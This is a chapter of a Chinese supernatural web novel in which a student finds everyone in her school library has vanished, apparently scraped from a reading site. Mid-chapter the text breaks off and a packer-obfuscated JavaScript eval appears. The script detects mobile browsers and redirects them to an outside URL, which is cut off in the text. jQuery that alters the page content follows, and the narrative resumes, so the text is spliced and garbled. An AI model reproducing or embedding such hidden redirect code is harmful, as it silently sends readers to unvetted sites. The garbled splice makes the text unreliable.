“你还没听说?”
“哦.....也对,你消息不灵通,每次都不关心这些事。”
图书馆层层叠叠高人半头的书架林立,气氛一如既往安静。
穿过通行阀出去买零食吃时,祝珠意兴阑珊地用叉子戳着薯条,说:“那个校门口免费看相的神棍......哦,大师。那个大师走了。”
闻言,站在微波炉旁边没精打采的温摇终于有了点反应。
她抱着臂靠在墙上,抬起黑眼圈浓重的眼,重复:“走了?”
“嗯,今天早上有人去看,连摊子都收了。原位置上立了个牌子,说什么.....‘缘分已到,不久留了’。很奇怪吧?”
祝珠顿了顿,咬了一口薯条,叹气:“真挺可惜,我本来还想去那儿再看看的。给钱也行。”
“倒是你,你昨晚刨谁家坟去了,黑眼圈简直吓人啊。”
微波炉叮地一声跳起来,温摇重重地叹了口气,把加热好的便当拿出来。
“没睡好。”她如此简短地说。
“就这样?”
“就这样,你还想听什么。我说我去夜店蹦了一晚上你信?”
祝珠笑了起来,取了一次性筷子摇头摆尾地坐在她旁边:“听起来也不像你的作风。哇,好香.......今天咱哥带的什么?炸猪排和蛋包饭?给我尝一口给我尝一口......”
为了吃的“咱哥”都喊出来了。
温摇跟她并排坐在长椅上,你一口我一口地分食便当里家常饭菜,目光落到不远处图书馆里,依旧放在桌子上的电脑屏幕。
今天来图书馆一打开电脑,发现昨晚删除的许愿网站,依旧好端端地躺在记录里。
明明回收站里有删除记录,明明自己已经清空了搜索网址。
可它就是不符合常理地躺在那里,如同一道阴魂不散的符咒,时刻提醒着她某种事件的酝酿。
“......”
经过一晚上的惊吓和酝酿,又安安心心在图书馆学了一上午习,她心情已经安宁多了。
到了现在,温摇甚至怀疑那个神棍嘴里的“伥鬼”,“符咒”,“追踪”一类,到底是不是随口编造出来的无稽之谈。
对于一个前十九年从未接触过任何玄学事件的人来说,最近她遇到的麻烦事,实在是太多了。
温摇在心里暗自叹了口气,揉了揉从早上就一直在突突跳动的右眼皮。
一面闷声扒饭,一面继续听祝珠瞎聊天。
“听说今天天师府的车又停到学校门口了,你说,不会咱们学校真出什么人命案了吧....”
“哦,还有,今天图书馆据说清洁整顿,迎接市里检查,要提前三小时闭馆,咱们今天得早点走......”
“......”
都是些一如既往波澜不惊的消息。
两人吃完饭,她顺手将一次性餐盒丢进图书馆的垃圾桶。
祝珠回到座位上学习,温摇则去图书馆二楼的厕所洗洗手,免得饭后油污把书弄脏。
一楼学生众多,盥洗室比较拥挤。二楼和三楼就相对更为僻静。
寥寥几个学生有说有笑在厕所门口停留了一会儿,又扭身走开。
温摇没想那么多,侧身靠在洗手台前拧开水龙头,清凉水流倾泻而下时,她忽然听见最里面的隔间传来一阵哭声。
若隐若现,细细碎碎的哭泣,不甚明显。
但的确存在。
现在是白天,图书馆人又多,温摇根本没往别的地方想。
平时总有小情侣相约一起来图书馆学习,估计是哪个小姑娘吵架了,偷偷来厕所哭吧。
不过说起来.....刚刚也没见有落单的人进洗手间。
已经哭很久了吗?
而且为什么总觉得......这个哭声,有点熟悉?
温摇目光往最里头那个隔间瞥了一眼。盥洗室已经安静下来,只剩下她跟那个隔间里的“不知名女生”还在。
秉承着不打扰别人的良好教养,她胡思乱想了一阵,擦干手就转身出去了。
下楼回到热热闹闹的图书馆二楼,光线明亮,祝珠还在原地等她。
人气一重,自然就冲散了颈椎处升腾起的那点寒意。
“你去哪了,”朋友一面翻书,一面无意地问了一嘴,“二三楼的厕所不是在修缮吗,今天大家都挤在一楼厕所——喏,你看,那边正排着队呢。”
“修缮?”
温摇重复。
她顺着祝珠指的方向看去,果不其然,一楼厕所门口大排长龙,喧闹不休。
刚刚那几个结伴有说有笑的女学生,好像也确实只是在二楼厕所门口驻留了一会儿就走了,没进去解手。
......可是自己明明没看见修缮的牌子。
还有,那个最里面隔间的哭声,又是怎么来的?
隐约不祥的预感袭上心头,似乎某种潜藏在现实生活之下的阴冷之处将被挖掘。
所幸这时候,手机恰好振动一下。
哥哥的信息发过来成功让她转移注意。温摇一愣,打开消息小窗。
【哥哥:午饭吃了吗。】
【哥哥:猫扒拉饭碗.jpg】
【wy:吃了!祝珠也说好吃,还问下次能不能多带一份。】
【哥哥:好吃就好,喜欢的话下次我还做.....今晚大概几点回家?】
【wy:今晚应该要回去早一点!三四点钟吧。】
【哥哥:好,等你。】
【哥哥:小萨摩耶歪头翻倒.jpg】
温摇忍不住笑了起来,把手机熄屏放进口袋里,深深吸了一口气。
跟哥哥聊了几句天,她的心情果然安定了不少,也能抽空找借口安慰搪塞自己。
没什么的。
应该只是对方担心被人看见,特意找了个隐秘的地方哭。
世界上没有那么多灵异事件。
她自己身上的事还没闹完,哪还有心思考虑那些虚无缥缈的生活琐事。
想到这里,温摇坐在了祝珠身旁,把身心重新投入到了复习资料里。
*
就这样一直到下午三四点钟。
图书馆的人渐渐稀少时,馆内广播终于开始播报提前闭馆的消息。
“为迎接市里检查,本馆今日提前三小时闭馆.......十五分钟后准备清场。请同学们配合......”
“重复,为迎接市里检查,本馆今日提前三小时闭馆.......十五分钟后准备清场。”
“欸.....”
祝珠站起来伸了个懒腰,轻微地发出声不满叹息:“这就闭馆了,过两天就要考试,我还没怎么复习呢。”
“要不,你干脆去我们家玩吧。我自己在家实在是学不进去啊。”
温摇低头把笔记本放进包里,听见这略带撒娇的抱怨声,忍不住低头微微一勾唇。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770817|174121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“好啊,周末我要是有空就去陪你,怎么样?”
“OK,你记得提前跟我说,我给你准备......”
收拾书包的动作未停,细细碎碎声响还在继续。
温摇没等到后面的话。
因为就在某个瞬间,祝珠声音戛然而止。
清亮声音在图书馆里回荡,像是被掐断了联系的收银机,再听不见余下的尾音。
黑发少女动作一滞,旋即抬起头——
面前的朋友,不知道什么时候,消失了。
是的,消失了。如同人间蒸发那样彻底不见了,就好像从头到尾都只有她自己站在这里。
刚刚祝珠站着的地方只剩下瓷砖和绿植,无声无息地摇。
周遭的一切,刹那间都安静下来。
图书馆空旷寂寥,只有牵扯着回音的馆内广播机械性地反复回荡,声音在无人到死寂的一楼大厅撞击。窗外依旧日光透亮,只是三四点多的太阳缓慢以某种不可追溯的速度一点点暗沉下来。
温摇环顾四周,刚刚还有零星几个身影的图书馆一楼大厅,彻彻底底地只剩下了她自己。
桌椅和成排高大的书架衬着绿森森的盆栽花草,在窗外投射下的日光里拖起长长的影子。
漆黑的影子,也在随着往西方沉下去的太阳一并,慢慢地扭曲着。
以往这个时候,早该有保安和管理员来整理学生们弄乱的书籍和垃圾了。
馆内广播还在响,可看不见负责清场收拾场地的图书管理员。
整个图书馆。
目光所及之内,只剩下,她一个活人。
“......?”
恶作剧?
祝珠很少跟她开这种玩笑。
更何况,恶作剧怎么能让整个图书馆里的人都消失?
还是......她又出现幻觉了?
人是有秩序性的生物。
当日常熟悉的场景,在某些时刻变得陌生时,总会激起巨大的、茫然的恐惧感。
黑发少女右眼皮突突跳动着,胃部也开始痉挛起来。不祥的预感笼罩心头。
她把书包背到身后,借着高大书架的遮挡,寻找记忆里出口的位置。
几分钟前还大敞着的图书馆大门,此刻却一反常态地紧紧闭合着,门上还落了沉重的铁索。
门旁二十四小时轮班制的保安厅和管理员办公室,此刻也空荡荡的。
透过半面墙的玻璃窗去看,满桌子文件杂物尚在,甚至茶水还腾腾地冒着热气。
像是.....那些熟悉的身影突然就被什么东西抹除,只剩自己一人留在此处。
本该作为日常场合的学校图书馆,在此刻,似乎已经被扭曲成了奇怪的,陌生的地方。
不合时宜地,温摇想到了她看过的、无限流小说。
现在的图书馆,挺像某个无限流小说里的现实副本。
她才是那个被突然拖进平行世界的人。
......糟糕透顶。
温摇蹲下来观察了一下管理员办公室门的锁孔,又从衣兜里摸出来根铁丝,放在齿间咬咬掰掰,摸索着插-进去上下调整着,用力一顶。
——现在这种反人类的情况肯定不能用正常思维衡量了。
小时候在贫民窟学到的技能,在这种时刻倒是格外有用。
只听“咔哒”一声。办公室门应声而开。
泡了过久的热茶水味扑面而来。